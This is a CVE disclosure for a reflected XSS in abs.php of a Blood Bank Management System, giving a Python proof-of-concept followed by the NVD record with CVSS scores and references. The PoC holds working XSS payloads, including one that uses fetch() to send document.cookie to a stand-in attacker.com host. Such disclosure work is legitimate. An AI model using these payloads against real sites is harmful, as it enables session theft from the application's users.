CVE-2025-63526

import requests # CVE-2025-63526 PoC - Blood Bank Management System XSS in abs.php # Target URL with vulnerable msg parameter target_url = "http://target-server/abs.php" # Malicious JavaScript payload for XSS exploitation xss_payload = "<script>alert(document.cookie)</script>" # PoC 1: Basic XSS injection params = { "msg": xss_payload } print("[*] Sending XSS payload to abs.php...") response = requests.get(target_url, params=params) if xss_payload in response.text: print("[+] XSS vulnerability confirmed!") print("[+] Payload reflected in response without sanitization") # PoC 2: Cookie stealing payload cookie_steal_payload = "<script>fetch('http://attacker.com/log?cookie='+document.cookie)</script>" params_cookie = { "msg": cookie_steal_payload } print("[*] Sending cookie stealing payload...") response2 = requests.get(target_url, params=params_cookie) if cookie_steal_payload in response2.text: print("[+] Cookie stealing payload reflected - vulnerability exploitable")

{"cve": {"id": "CVE-2025-63526", "sourceIdentifier": "[email protected]", "published": "2025-12-01T15:15:51.270", "lastModified": "2025-12-02T03:05:32.243", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A cross-site scripting (XSS) vulnerability exists in the Blood Bank Management System within the abs.php component. The application fails to properly sanitize or encode user-supplied input before rendering it in response. An attacker can inject malicious JavaScript payloads into the msg parameter, which is then executed in the victim's browser when the page is viewed."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:shridharshukl:blood_bank_management_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "5B391DFD-8072-4642-9A31-9E4DE8648367"}]}]}], "references": [{"url": "https://drive.google.com/file/d/12yeOXW_sN69QjsQtW0_k9AGqozi1s0di/view?usp=sharing", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/Shridharshukl/Blood-Bank-Management-System", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/kiwi865/CVEs/blob/main/CVE-2025-63526.md", "source": "[email protected]", "tags": ["Exploit"]}]}}